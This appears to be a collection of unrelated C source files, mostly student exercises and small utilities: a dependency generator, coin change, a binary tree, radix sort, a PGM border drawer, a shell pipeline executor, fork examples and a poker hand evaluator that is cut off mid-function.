if (pos >= max) {
max += ALLOCINT;
if ((*argv = realloc(*argv, max *
sizeof(**argv))) == NULL)
err(EX_OSERR, "realloc");
}
(*argv)[pos] = '\0';
*++argv = NULL;
max = 0;
pos = 0;
} else {
if (pos >= max) {
max += ALLOCINT;
if ((*argv = realloc(*argv, max *
sizeof(**argv))) == NULL)
err(EX_OSERR, "realloc");
}
(*argv)[pos++] = *p;
}
}
if (pos >= max) {
max += ALLOCINT;
if ((*argv = realloc(*argv, max * sizeof(**argv))) ==
NULL)
err(EX_OSERR, "realloc");
}
(*argv)[pos] = '\0';
*++argv = NULL;
/* argc needs not count trailing NULL. */
--*argcp;
}
static void
pushpq(struct pathqe **pqh, const char *s)
{
struct pathqe *pq;
if ((pq = malloc(sizeof(*pq))) == NULL)
err(EX_OSERR, "malloc");
pq->pq_path = s;
pq->pq_next = *pqh;
*pqh = pq;
}
static void
pushiq(struct incqe **iqh, const char *s, int type)
{
struct incqe *iq;
if ((iq = malloc(sizeof(*iq))) == NULL)
err(EX_OSERR, "malloc");
iq->iq_file = s;
iq->iq_next = *iqh;
iq->iq_type = type;
*iqh = iq;
}
static void
freepq(struct pathqe *pq)
{
struct pathqe *next;
for (; pq != NULL; pq = next) {
next = pq->pq_next;
free(pq);
}
}
static void
freeiq(struct incqe *iq)
{
struct incqe *next;
for (; iq != NULL; iq = next) {
next = iq->iq_next;
free(iq);
}
}
/*
* Since .depend entries are being removed, the contents that appear
* after a removed entry will need to be shifted forward to fill the
* gap created by the removal.
*/
static int
shift(FILE *fp, off_t dif)
{
char buf[BUFSIZ];
off_t oldpos;
ssize_t siz;
/*
* XXX: pread would be much nicer here but we can't mix stdio
* and raw.
*/
for (;;) {
oldpos = ftell(fp);
if (fseek(fp, dif, SEEK_CUR) == -1)
return (1);
siz = fread(buf, 1, sizeof(buf), fp);
if (siz <= 0)
break;
if (fseek(fp, oldpos, SEEK_SET) == -1)
return (1);
siz = fwrite(buf, 1, siz, fp);
}
return (0);
}
static void
getincs(const char *s, struct incqe **iqp)
{
char *p, *t, buf[BUFSIZ];
FILE *fp;
if ((fp = fopen(s, "r")) == NULL) {
warn("open %s", s);
return;
}
while (fgets(buf, sizeof(buf), fp) != NULL) {
p = buf;
while (isspace(*p))
p++;
if (*p != '#')
continue;
while (isspace(*p))
p++;
if (strcmp(p, "include") != 0)
continue;
p += sizeof("include");
while (isspace(*p))
p++;
switch (*p) {
case '<':
if ((t = strchr(++p, '>')) == NULL)
continue;
*t = '\0';
pushiq(iqp, p, IT_ABS);
break;
case '"':
if ((t = strchr(++p, '"')) == NULL)
continue;
*t = '\0';
pushiq(iqp, p, IT_REL);
break;
default:
continue;
/* NOTREACHED */
}
}
(void)fclose(fp);
}
static void
stripmke(const char *s, FILE *fp)
{
off_t start, end;
char buf[BUFSIZ];
int c, gap, esc;
size_t len;
buf[0] = '\0';
/* Look for entry in .depend. */
fseek(fp, 0, SEEK_SET);
len = strlen(s) - 1; /* .c to .o */
/* XXX: this is horrid but the data should always be at the
* beginning of the line anyway.
*/
while (fgets(buf, sizeof(buf), fp) != NULL) {
if (strncmp(buf, s, len) == 0 &&
buf[len] == 'o' && buf[len + 1] == ':') {
esc = 0;
start = ftell(fp) - strlen(buf);
for (; (c = fgetc(fp)) != EOF; gap++) {
switch (c) {
case '\\':
esc = !esc;
break;
case '\n':
if (!esc)
goto end;
/* FALLTHROUGH */
default:
esc = 0;
break;
}
}
break;
}
}
end:
end = ftell(fp) - strlen(buf);
shift(fp, end - start);
}
static void
mkdep(FILE *depfp, const char *fil, struct pathqe *pqh)
{
struct incqe *iqh, *iq;
const char *path;
getincs(fil, &iqh);
if (iqh == NULL)
return;
stripmke(fil, depfp);
if (fseek(depfp, 0, SEEK_END) == -1)
/* XXX */;
(void)fprintf(depfp, "%s:", fil);
for (iq = iqh; iq != NULL; iq = iq->iq_next) {
/* Find full path. */
if (iq->iq_type == IT_REL)
(void)fprintf(depfp, " \\\n\t%s", iq->iq_file);
else {
if ((path = find(fil, pqh)) != NULL)
(void)fprintf(depfp, " \\\n\t%s", path);
}
}
(void)fprintf(depfp, "\n");
freeiq(iqh);
}
static const char *
find(const char *s, struct pathqe *pqh)
{
static char fil[MAXPATHLEN];
for (; pqh != NULL; pqh = pqh->pq_next) {
snprintf(fil, sizeof(fil), "%s/%s", pqh->pq_path, s);
if (exists(fil))
return (fil);
}
return (NULL);
}
static int
exists(const char *s)
{
struct stat stb;
if (stat(s, &stb) != -1)
return (1);
return (0);
}
static __dead void
usage(void)
{
extern char *__progname;
(void)fprintf(stderr, "usage: %s file ...\n", __progname);
exit(EX_USAGE);
}
|
C | #include <stdio.h>
int main(void) {
float money;
int value, qua, dim, nic, pen;
char line[100];
printf("Write the amount of money in dollars (less than $1.00)\n");
fgets(line, sizeof(line), stdin);
sscanf(line,"%f", &money);
value= money*100;
qua= (value/25);
dim= (value%25)/10;
nic= ((value%25)%10)/5;
pen=(((value%25)%10)%5)/1;
printf("To get %f dollars you need %d quarters, %d dimes, %d nickles and %d pennies\n", money, qua, dim, nic, pen);
return 0;
}
|
C | #include "clock.h"
#include <stdio.h>
static uint32_t seconds = 0;
static uint32_t minutes = 0;
static uint32_t hours = 0;
void incrementClock() {
if (!incrementSeconds()) {
if (!incrementMinutes()) {
incrementHours();
}
}
}
// ----------------------------------------------------------------------------
void getClock(uint32_t *s, uint32_t *m, uint32_t *h) {
*s = seconds;
*m = minutes;
*h = hours;
}
// ----------------------------------------------------------------------------
uint32_t incrementSeconds() {
if (++seconds == MAX_SECONDS) {
seconds = 0;
}
return seconds;
}
// ----------------------------------------------------------------------------
void decrementSeconds() {
if (--seconds > MAX_SECONDS) {
seconds = MAX_SECONDS - 1;
}
}
// ----------------------------------------------------------------------------
uint32_t incrementMinutes() {
if (++minutes == MAX_MINUTES) {
minutes = 0;
}
return minutes;
}
// ----------------------------------------------------------------------------
void decrementMinutes() {
if (--minutes > MAX_MINUTES) {
minutes = MAX_MINUTES - 1;
}
}
// ----------------------------------------------------------------------------
uint32_t incrementHours() {
if (++hours == MAX_HOURS) {
hours = 0;
}
return hours;
}
// ----------------------------------------------------------------------------
void decrementHours() {
if (--hours > MAX_HOURS) {
hours = MAX_HOURS - 1;
}
}
|
C | //template for testing code
//download with: wget troll.cs.ua.edu/ACP-C/tester.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
int main(int argc,char **argv)
{
int cols, rows, x=1;
while (x<=10)
{
printf("%d\t",x);
if (x==10)
printf("\n+--------------------------------------------------------------------------\n");
++x;
}
for (rows=1;rows<=10;rows++)
{
for (cols=1;cols<=10;cols++)
{
printf("%d\t", (cols*rows));
}
printf("\n");
}
return 0;
} |
C | #include "arvore.h"
Arvore *cria_arv_vazia()
{
return NULL;
}
void destroi_arv(Arvore *arv)
{
if (arv != NULL)
{
destroi_arv(arv->esq);
destroi_arv(arv->dir);
free(arv);
}
}
Arvore *constroi_arv(char elem, Arvore *esq, Arvore *dir)
{
Arvore *arv = (Arvore *)malloc(sizeof(Arvore));
arv->info = elem;
arv->esq = esq;
arv->dir = dir;
return arv;
}
int is_empty(Arvore *a)
{
return a == NULL;
}
void imprime_pre_ordem(Arvore *a)
{
if (!is_empty(a))
{
printf("%c ", a->info);
imprime_pre_ordem(a->esq);
imprime_pre_ordem(a->dir);
}
}
void imprime_in_ordem(Arvore *a)
{
if (!is_empty(a))
{
imprime_in_ordem(a->esq);
printf("%c ", a->info);
imprime_in_ordem(a->dir);
}
}
void imprime_pos_ordem(Arvore *a)
{
if (!is_empty(a))
{
imprime_pos_ordem(a->esq);
imprime_pos_ordem(a->dir);
printf("%c ", a->info);
}
}
void main_ex_01(Arvore *a)
{
printf("PRE-ORDEM: ");
imprime_pre_ordem(a);
printf("\n");
printf(" IN-ORDEM: ");
imprime_in_ordem(a);
printf("\n");
printf("POS-ORDEM: ");
imprime_pos_ordem(a);
printf("\n");
}
int pertence_arv(Arvore *a, char c)
{
if (!is_empty(a))
return a->info == c || pertence_arv(a->esq, c) || pertence_arv(a->dir, c);
else
return 0;
}
void main_ex_02(Arvore *a)
{
int c_in_a = pertence_arv(a, 'c');
if (c_in_a)
printf("C PERTENCE À ARVORE \n");
else
printf("C NÃO PERTENCE À ARVORE \n");
int w_in_a = pertence_arv(a, 'w');
if (w_in_a)
printf("W PERTENCE À ARVORE \n");
else
printf("W NÃO PERTENCE À ARVORE \n");
}
int conta_nos(Arvore *a)
{
if (!is_empty(a))
return 1 + conta_nos(a->esq) + conta_nos(a->dir);
else
return 0;
}
void main_ex_03(Arvore *a)
{
printf("A árvore tem %d nós.\n", conta_nos(a));
}
int calcula_altura_arvore(Arvore *a)
{
if (!is_empty(a))
{
int h_esq = is_empty(a->esq) ? -1 : calcula_altura_arvore(a->esq),
h_dir = is_empty(a->dir) ? -1 : calcula_altura_arvore(a->dir);
return 1 + (h_esq > h_dir ? h_esq : h_dir);
}
else
return 0;
}
void main_ex_04(Arvore *a)
{
printf("A árvore tem altura %d .\n", calcula_altura_arvore(NULL));
}
int e_folha(Arvore *a)
{
return !is_empty(a) && is_empty(a->esq) && is_empty(a->dir);
}
int conta_nos_folha(Arvore *a)
{
if (!e_folha(a))
{
int f_esq = is_empty(a->esq) ? 0 : conta_nos_folha(a->esq),
f_dir = is_empty(a->dir) ? 0 : conta_nos_folha(a->dir);
return f_esq + f_dir;
}
else
return 1;
}
void main_ex_05(Arvore *a)
{
printf("A árvore tem %d nós folha.\n", conta_nos_folha(a));
}
int main(int argc, char **argv)
{
Arvore *a = constroi_arv('a', constroi_arv('b', cria_arv_vazia(), constroi_arv('d', cria_arv_vazia(), cria_arv_vazia())),
constroi_arv('c', constroi_arv('e', cria_arv_vazia(), cria_arv_vazia()), constroi_arv('f', cria_arv_vazia(), cria_arv_vazia())));
main_ex_01(a);
putchar('\n');
main_ex_02(a);
putchar('\n');
main_ex_03(a);
putchar('\n');
main_ex_04(a); // 7.5
putchar('\n');
main_ex_05(a);
destroi_arv(a);
a = NULL;
return 0;
}
|
C | // 基数排序:一种多关键字的排序算法,可用桶排序实现。
int maxbit(int data[], int n) //辅助函数,求数据的最大位数
{
int maxData = data[0]; ///< 最大数
/// 先求出最大数,再求其位数,这样有原先依次每个数判断其位数,稍微优化点。
for (int i = 1; i < n; ++i)
{
if (maxData < data[i])
maxData = data[i];
}
int d = 1;
int p = 10;
while (maxData >= p)
{
//p *= 10; // Maybe overflow
maxData /= 10;
++d;
}
return d;
/* int d = 1; //保存最大的位数
int p = 10;
for(int i = 0; i < n; ++i)
{
while(data[i] >= p)
{
p *= 10;
++d;
}
}
return d;*/
}
void radixsort(int data[], int n) //基数排序
{
int d = maxbit(data, n);
int *tmp = new int[n];
int *count = new int[10]; //计数器
int i, j, k;
int radix = 1;
for(i = 1; i <= d; i++) //进行d次排序
{
for(j = 0; j < 10; j++)
count[j] = 0; //每次分配前清空计数器
for(j = 0; j < n; j++)
{
k = (data[j] / radix) % 10; //统计每个桶中的记录数
count[k]++;
}
for(j = 1; j < 10; j++)
count[j] = count[j - 1] + count[j]; //将tmp中的位置依次分配给每个桶
for(j = n - 1; j >= 0; j--) //将所有桶中记录依次收集到tmp中
{
k = (data[j] / radix) % 10;
tmp[count[k] - 1] = data[j];
count[k]--;
}
for(j = 0; j < n; j++) //将临时数组的内容复制到data中
data[j] = tmp[j];
radix = radix * 10;
}
delete []tmp;
delete []count;
}
|
C | // 8 - Desenha bordas
#include <stdio.h>
int main(){
int largura, altura, larguraBorda, valorBorda;
scanf("%d", &largura);
scanf("%d", &altura);
scanf("%d", &larguraBorda);
scanf("%d", &valorBorda);
puts("P2");
printf("%d %d\n", altura, largura);
puts("255");
int i, j;
for (i = 0; i < largura; i++) {
for (j = 0; j < altura; j++) {
if (i < larguraBorda || j < larguraBorda) {
printf("%d ", valorBorda);
}else if(i+larguraBorda >= largura || j+larguraBorda >= altura) {
printf("%d ", valorBorda);
}else{
printf("0 ");
}
}
puts("");
}
return 0;
}
/*
8 - Desenha bordas (++)
Faça um programa que gere uma matriz de zeros, de tamanho definido pelo usuário,
de no máximo 100×100, com uma borda de largura k de valor x.
Entrada
O programa deve ler quatro números inteiros, os dois primeiros relacionados
à largura e altura da matriz,
o terceiro a largura da borda e o por último o valor da borda.
Saída
O programa deve apresentar a matriz como uma imagem PGM, ou seja, seguindo a sequência:
P2
largura altura
255
<dados da matriz>
Os dados da matriz devem ser impressos sempre com um espaço à direita e seguido de
quebra de linha ao final de cada linha da matriz.
Observações
Para testar seu código, você pode redirecionar a saída padrão do seu programa
para um arquivo com extensão ".pgm", usando o comando "./programa > img.pgm".
Exemplo
Entrada
5 5 1 2
Saída
P2
5 5
255
2 2 2 2 2
2 0 0 0 2
2 0 0 0 2
2 0 0 0 2
2 2 2 2 2
*/
|
C | #include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <errno.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <stdbool.h>
#include <signal.h>
#include <stddef.h>
#include "config.h"
#include "builtins.h"
#include "buffers.h"
#include "pipes.h"
#include "background.h"
#include "utils.h"
void exec_command(int inFD, int outFD, command* com, bool is_background){
if( IS_NULL_COMMAND(com) ) return;
/*
blocking sigchld so we won't increment already dead child process
*/
sigset_t u;
sigemptyset(&u);
sigaddset(&u, SIGCHLD);
sigprocmask(SIG_BLOCK, &u, NULL);
pid_t child_pid;
if( (child_pid = fork()) == 0 ){
if( is_background ){
//creating own group
setsid();
//setting default sigint's service
signal(SIGINT, SIG_DFL);
}
/*
possibly redirect to file descriptors from pipes
*/
if( inFD != 0 ) {
dup2(inFD, 0);
close(inFD);
}
if( outFD != 1 ){
dup2(outFD, 1);
close(outFD);
}
/*
but after check normal redirections
*/
if( handle_redirs(com) == CORRECTREDIRS ){
if( execvp(com->argv[0],com->argv) == -1 ){
handle_command_error(com);
exit(EXEC_FAILURE);
}
}
else {
exit(EXEC_FAILURE);
}
}
else{
if( is_background ){
if( !is_full() ) add_pid(background_childs.id, child_pid, BACKGROUND_SIZE);
}
else{
add_pid(arr_foreground, child_pid, FOREGROUND_SIZE);
foreground_childs++;
}
}
sigprocmask(SIG_UNBLOCK,&u, NULL);
}
void exec_line(line* l){
if( l ){
if( l->flags == LINBACKGROUND ){
exec_pipeline(l->pipelines[0], true);
}
else {
int idPipeline = 0;
while( l->pipelines[idPipeline] ){
exec_pipeline(l->pipelines[idPipeline], false);
idPipeline++;
}
}
}
else {
// if parsing was failure printing syntax error
print_syntax_err();
}
}
void exec_pipeline(pipeline p, bool is_background){
if( !IS_VALID_PIPELINE(p) ) {
print_syntax_err();
return;
}
/*
blocking sigchld during execution of pipeline
*/
sigset_t v;
sigemptyset(&v);
sigaddset(&v, SIGCHLD);
sigprocmask(SIG_BLOCK, &v, NULL);
int len_pipeline = len_pipe(p);
int pipes_fd[2*(len_pipeline-1)];
if( len_pipeline > 1 ){
/*
iterating through our pipeline connecting consecutive commands with pipes
*/
int pd[2];
int inFD = 0;
int id_command;
for( id_command = 0; id_command < len_pipeline ; ++id_command ){
if( IS_NOT_LAST_COMMAND_IN_PIPELINE(id_command, p) ) {
pipe(pd);
fcntl(pd[0], F_SETFD, FD_CLOEXEC);
fcntl(pd[1], F_SETFD, FD_CLOEXEC);
pipes_fd[2*id_command] = pd[0];
pipes_fd[2*id_command+1] = pd[1];
}
if( IS_LAST_COMMAND_IN_PIPELINE(id_command, p) ) {
exec_command(inFD, 1, p[id_command], is_background);
close(pipes_fd[2*(id_command-1)]);
}
else {
exec_command(inFD, pd[1], p[id_command], is_background);
if( IS_NOT_FIRST_COMMAND_IN_PIPELINE(id_command) ) close(pipes_fd[2*(id_command-1)]);
close(pd[1]);
inFD = pd[0];
}
}
}
else if( len_pipeline == 1 ) {
/*
if our pipeline is just single command
we're checking if this is shell direct or just normal command
*/
command* com = p[0];
if( if_shell_direct(com) >= 0 ){
if((*builtins_table[if_shell_direct(com)].fun)(com->argv) == BUILTIN_ERROR ) print_builtin_error(com->argv[0]);
}
else {
exec_command(0, 1, com, is_background);
}
}
if( !is_background ){
sigset_t y;
sigemptyset(&y);
/*
if there is foreground child we're waiting for sigchld from it
and eventually checking for any zombies
*/
while( foreground_childs > 0 ){
sigsuspend(&y);
}
}
sigprocmask(SIG_UNBLOCK, &v, NULL);
}
bool handle_redirs(command* com){
int id_redirect = 0;
while( com->redirs[id_redirect] != NULL ){
/*
iterating through all redirections
*/
int fd;
if( IS_RIN(com->redirs[id_redirect]->flags) ){
close(0);
fd = open(com->redirs[id_redirect]->filename, O_RDONLY, S_IRUSR | S_IWUSR);
if( fd != 0 ){
switch(errno){
case ENOENT:
fprintf( stderr, "%s: no such file or directory\n", com->redirs[id_redirect]->filename);
fflush(stderr);
return FAULTYREDIRS;
case EACCES:
fprintf( stderr, "%s: permission denied\n", com->redirs[id_redirect]->filename);
fflush(stderr);
return FAULTYREDIRS;
}
}
}
else {
close(1);
if( IS_RAPPEND(com->redirs[id_redirect]->flags) ) {
fd = open(com->redirs[id_redirect]->filename, O_WRONLY | O_CREAT | O_APPEND, S_IRUSR | S_IWUSR);
}
else {
fd = open(com->redirs[id_redirect]->filename, O_WRONLY | O_CREAT | O_TRUNC, S_IRUSR | S_IWUSR);
}
if( fd != 1 ){
switch(errno){
case EACCES:
fprintf( stderr, "%s: permission denied\n", com->redirs[id_redirect]->filename);
fflush(stderr);
return FAULTYREDIRS;
}
}
}
id_redirect++;
}
return CORRECTREDIRS;
}
bool IS_NULL_COMMAND(command* com){
return (com == NULL || com->argv[0] == NULL);
}
bool IS_VALID_PIPELINE(pipeline p){
if( len_pipe(p) >= 2 ){
/*
CHECKING IF PIPE CONTAINS NULL COMMAND
*/
int id_command = 0;
while( p[id_command] ){
if( IS_NULL_COMMAND( p[id_command] ) ) return false;
id_command++;
}
}
return true;
}
bool IS_FIRST_COMMAND_IN_PIPELINE(int id_command){
return (id_command == 0);
}
bool IS_NOT_FIRST_COMMAND_IN_PIPELINE(int id_command){
return (id_command > 0);
}
bool IS_LAST_COMMAND_IN_PIPELINE(int id_command, pipeline p){
return (id_command == len_pipe(p) - 1);
}
bool IS_NOT_LAST_COMMAND_IN_PIPELINE(int id_command, pipeline p){
return !(IS_LAST_COMMAND_IN_PIPELINE(id_command, p));
}
int len_pipe(pipeline p){
int id_command= 0;
while( p[id_command] != NULL ){
id_command++;
}
return id_command;
}
|
C | #include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <time.h> /* time_t */
#include <sys/time.h> /* timeval, gettimeofday() */
#define EMPTY 0
typedef struct data
{
int number;
}Data;
typedef struct vector{
Data *arr;
unsigned int current_size;
unsigned int max_size;
}Vector;
Vector *createVector();
void vectorInsert(Vector *array,int index,Data value);
void vectorRemove(Vector *array,int index);
int vectorRead(Vector *array,int index);
|
C | //
// Created by Hakan Halil on 21.08.20.
//
#include <unistd.h>
#include <string.h>
int main(void){
char* buff = "Hello, world!\n";
int p;
if (fork() == 0)
write(1, buff, strlen(buff)); // -> Hello, world! from child proc
p = fork();
write(1, buff, strlen(buff));
}
// My guess on hello world display count:
// 5
// Correct
// P -> F1
// P -> F2
// F1 -> F3
// P prints 1 time
// F2 prints 1 time
// F3 prints 1 time
// F1 prints 2 times
// total: 5 |
C | #include <stdio.h>
#include <stdlib.h>
#include <hand.h>
#include <string.h>
void print_hand(struct card hand[HANDSIZE])
{
for (int i = 0; i < HANDSIZE; i++)
{
printf("%s of %s\n", rankName(hand[i].rank), suitName(hand[i].suit));
}
}
int compare( const void* a, const void* b)
{
int int_a = * ( (int*) a );
int int_b = * ( (int*) b );
if ( int_a == int_b ) return 0;
else if ( int_a < int_b ) return -1;
else return 1;
}
void sort_hand(struct card hand[HANDSIZE], int rankArray[HANDSIZE])
{
for (int i = 0; i < HANDSIZE; i++)
{
rankArray[i] = hand[i].rank;
}
qsort(rankArray, HANDSIZE, sizeof(int), compare);
}
// Check if all the cards in a hand have the same rank
int same_rank(struct card hand[HANDSIZE])
{
int firstSuit = hand[0].suit;
if (hand[1].suit == firstSuit &&
hand[2].suit == firstSuit &&
hand[3].suit == firstSuit &&
hand[4].suit == firstSuit) {
return 1;
} else {
return 0;
}
}
void customHand(int inputVals[HANDSIZE*2])
{
for (int i = 0; i < HANDSIZE*2; i++) {
if (i % 2 == 0) {
printf("Enter a suit:\n");
} else {
printf(" and a rank:\n");
}
scanf("%d", &inputVals[i]);
}
}
int populateHand(int handType, int inputVals[])
{
switch(handType) {
case 1: // High Card
memcpy(inputVals, (int [10]){1, 2, 1, 4, 2, 5, 3, 8, 4, 6}, 10*sizeof(int));
return 1;
case 2: // Pair
memcpy(inputVals, (int [10]){1, 2, 1, 4, 2, 7, 3, 12, 4, 7}, 10*sizeof(int));
return 1;
case 3: // Two Pair
memcpy(inputVals, (int [10]){1, 4, 4, 4, 2, 5, 3, 5, 4, 7}, 10*sizeof(int));
return 1;
case 4: // Three of a kind
memcpy(inputVals, (int [10]){1, 5, 2, 5, 3, 5, 3, 8, 4, 6}, 10*sizeof(int));
return 1;
case 5: // Straight
memcpy(inputVals, (int [10]){1, 4, 1, 5, 2, 6, 3, 7, 4, 8}, 10*sizeof(int));
return 1;
case 6: // Flush
memcpy(inputVals, (int [10]){1, 6, 1, 5, 1, 8, 1, 10, 1, 12}, 10*sizeof(int));
return 1;
case 7: // Full House
memcpy(inputVals, (int [10]){2, 5, 3, 5, 4, 5, 2, 6, 1, 6}, 10*sizeof(int));
return 1;
case 8: // Four of a kind
memcpy(inputVals, (int [10]){1, 11, 2, 11, 3, 11, 4, 11, 4, 6}, 10*sizeof(int));
return 1;
case 9: // Straight Flush
memcpy(inputVals, (int [10]){4, 8, 4, 7, 4, 6, 4, 5, 4, 4}, 10*sizeof(int));
return 1;
case 10: // Royal Flush
memcpy(inputVals, (int [10]){2, 14, 2, 13, 2, 12, 2, 11, 2, 10}, 10*sizeof(int));
return 1;
default:
// memcpy(inputVals, (int [10]){1, 2, 2, 3, 2, 4, 3, 5, 4, 7}, 10*sizeof(int));
customHand(inputVals);
return 1;
}
for (int i = 0; i < 10; i++)
{
printf("%d\n", inputVals[i]);
}
}
int * count_ranks(struct card hand[HANDSIZE])
{
int * rankCount = calloc(NUMRANKS+1, sizeof(int));
for (int i = 0; i < HANDSIZE; i++) {
rankCount[hand[i].rank]++;
}
return rankCount;
}
int highest_combination(struct card userHand[HANDSIZE], struct card randomHand[HANDSIZE],
int combo, int tieValue)
{
int * userCounts = count_ranks(userHand);
int * randomCounts = count_ranks(randomHand);
for (int i = NUMRANKS; i > 0; i--) {
// // printf("%d: userCount: %d, randomCount: %d\n",i, userCounts[i], randomCounts[i]);
if (userCounts[i] == combo && randomCounts[i] < combo) {
free(userCounts);
free(randomCounts);
return 1;
} else if (randomCounts[i] == combo && userCounts[i] < combo) {
free(userCounts);
free(randomCounts);
return 0;
}
}
free(userCounts);
free(randomCounts);
return tieValue;
}
// Five cards in sequence, not same suit
int is_straight(struct card hand[HANDSIZE], int sortedRanks[HANDSIZE]) {
int firstRank = sortedRanks[4];
if (sortedRanks[3] == firstRank - 1 &&
sortedRanks[2] == firstRank - 2 &&
sortedRanks[1] == firstRank - 3 &&
sortedRanks[0] == firstRank - 4 ) {
// // printf"Is Straight!\n");
return 1;
} else {
return 0;
}
}
// Five cards in sequence all same suit
int is_straight_flush(struct card hand[HANDSIZE], int sortedRanks[HANDSIZE]) {
if (same_rank(hand) == 1) {
// // printf"It might be straight flush!\n");
return is_straight(hand, sortedRanks);
} else {
return 0;
}
}
/* Poker Hand Checks */
// A, K, Q, J, 10 all same suit
int is_royal_flush(struct card hand[HANDSIZE], int sortedRanks[HANDSIZE]) {
if (sortedRanks[4] == 14) {
return is_straight_flush(hand, sortedRanks);
} else {
return 0;
}
}
// 4 cards with same rank
int is_four_kind(struct card hand[HANDSIZE]) {
int * rankCount = count_ranks(hand);
for (int i = 1; i <= NUMRANKS; i++) {
// // printf"Rank %d has %d counts\n", i, rankCount[i]);
if (rankCount[i] >= 4) {
free(rankCount);
return 1;
}
}
free(rankCount);
return 0;
}
// Three of a kind with a pair
int is_full_house(struct card hand[HANDSIZE]) {
int * rankCount = count_ranks(hand);
int three_counter = 0;
int two_counter = 0;
for (int i = 1; i <= NUMRANKS; i++) {
// // printf("%d: Count: %d\n", i, rankCount[i]);
if (rankCount[i] == 3) {
three_counter++;
}
else if (rankCount[i] == 2) {
two_counter++;
}
}
if (three_counter == 1 && two_counter == 1) {
free(rankCount);
return 1;
} else {
free(rankCount);
return 0;
}
}
// Five cards with same suit, not in sequence
int is_flush(struct card hand[HANDSIZE]) {
int suitCnt = 1;
int firstSuit = hand[0].suit;
for (int i = 1; i < HANDSIZE; i++) {
if (hand[i].suit == firstSuit) suitCnt++;
}
if (suitCnt == 5) {
return 1;
} else {
return 0;
}
}
// Three cards of same rank
int is_three_kind(struct card hand[HANDSIZE]) {
int * rankCount = count_ranks(hand);
for (int i = 0; i < NUMRANKS; i++) {
if (rankCount[i] == 3) {
free(rankCount);
return 1;
}
}
free(rankCount);
return 0;
}
// Two different pairs
int is_two_pair(struct card hand[HANDSIZE]) {
int * rankCount = count_ranks(hand);
int two_counter = 0;
for (int i = 0; i < NUMRANKS; i++) {
if (rankCount[i] == 2) {
two_counter++;
}
}
if (two_counter == 2) {
free(rankCount);
return 1;
} else {
free(rankCount);
return 0;
}
}
// Two cards of same rank
int is_pair(struct card hand[HANDSIZE]) {
int * rankCount = count_ranks(hand);
for (int i = 0; i < NUMRANKS; i++) {
if (rankCount[i] == 2) {
free(rankCount);
return 1;
}
}
free(rankCount);
return 0;
}
int is_high_card(int userSort[HANDSIZE], int randomSort[HANDSIZE])
{
for (int i = HANDSIZE - 1; i >= 0; i--) {
if (userSort[i] > randomSort[i]) {
return 1;
} else if (randomSort[i] > userSort[i]) {
return 0;
}
}
return 0;
}
// Returns 1 if user wins, 0 if user loses
int compare_hands(struct card userHand[HANDSIZE], struct card randomHand[HANDSIZE])
{
int userSort[HANDSIZE];
int randomSort[HANDSIZE];
sort_hand(userHand, userSort);
sort_hand(randomHand, randomSort);
int userResult;
int randomResult;
// Royal Flush
userResult = is_royal_flush(userHand, userSort);
randomResult = is_royal_flush(randomHand, randomSort);
if (userResult == 1 && randomResult == 1) // Tie
{
//printf("Royal Flush: Tie\n");
return 0;
}
else if (randomResult == 1) { // Random wins
// printf("Royal Flush: Random wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Royal Flush: User wins\n");
return 1;
}
else {
// Straight Flush
userResult = is_straight_flush(userHand, userSort);
randomResult = is_straight_flush(randomHand, randomSort);
if (userResult == 1 && randomResult == 1) // Tie
{
// printf("Straight Flush: Checking Tie\n");
return is_high_card(userSort, randomSort);
}
else if (randomResult) { // Random wins
// printf("Straight Flush: Random Wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Straight Flush: User Wins\n");
return 1;
}
else {
// Four of a kind
userResult = is_four_kind(userHand);
randomResult = is_four_kind(randomHand);
if (userResult == 1 && randomResult == 1) // Tie
{
// printf("Four Kind: Checking Tie\n");
return highest_combination(userHand, randomHand, 4, 0);
}
else if (randomResult == 1) { // Random wins
// printf("Four Kind: Random Wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Four Kind: User Wins\n");
return 1;
}
else {
// Full house
userResult = is_full_house(userHand);
randomResult = is_full_house(randomHand);
if (userResult == 1 && randomResult == 1) // Tie
{
// printf("Full House: Checking Tie\n");
return highest_combination(userHand, randomHand, 3, 0);
}
else if (randomResult == 1) { // Random wins
// printf("Full House: Random Wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Full House: User Wins\n");
return 1;
}
else {
// Flush
userResult = is_flush(userHand);
randomResult = is_flush(randomHand);
if (userResult == 1 && randomResult == 1) // Tie
{
// printf("Flush: Random\n");
return is_high_card(userSort, randomSort);
}
else if (randomResult == 1) { // Random wins
// printf("Flush: Random Wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Flush: User Wins\n");
return 1;
}
else {
// Straight
userResult = is_straight(userHand, userSort);
randomResult = is_straight(randomHand, randomSort);
if (userResult == 1 && randomResult == 1) // Tie
{
// printf("Straight: Checking Tie\n");
return is_high_card(userSort, randomSort);
}
else if (randomResult == 1) { // Random wins
// printf("Straight: Random Wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Straight: User Wins\n");
return 1;
}
else {
// Three of a kind
userResult = is_three_kind(userHand);
randomResult = is_three_kind(randomHand);
if (userResult == 1 && randomResult == 1) // Tie
{
// printf("Three Kind: Checking Tie\n");
return highest_combination(userHand, randomHand, 3, 0);
}
else if (randomResult == 1) { // Random wins
// printf("Three Kind: Random Wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Three Kind: User Wins\n");
return 1;
}
else {
// Two pair
userResult = is_two_pair(userHand);
randomResult = is_two_pair(randomHand);
if (userResult == 1 && randomResult == 1) // Tie
{
// printf("Two Pair: Checking Tie\n");
int highestResult = highest_combination(userHand, randomHand, 2, 1);
// // printf("Result: %d\n", highestResult);
if (highestResult == 1) {
return highest_combination(userHand, randomHand, 1, 0);
} else {
return highestResult;
}
}
else if (randomResult == 1) { // Random wins
// printf("Two Pair: Random Wins\n");
return 0;
}
else if (userResult == 1) { // User wins
// printf("Two Pair: User Wins\n");
return 1;
}
else {
// Pair
userResult = is_pair(userHand);
randomResult = is_pair(randomHand);
if (userResult == 1 && randomResult == 1) // Tie
{
// printf("Pair: Checking Tie\n");
int highestResult = highest_combination(userHand, randomHand, 2, 1);
if (highestResult == 1) {
return highest_combination(userHand, randomHand, 1, 0);
} else {
return highestResult;
}
}
else if (randomResult == 1) { // Random wins
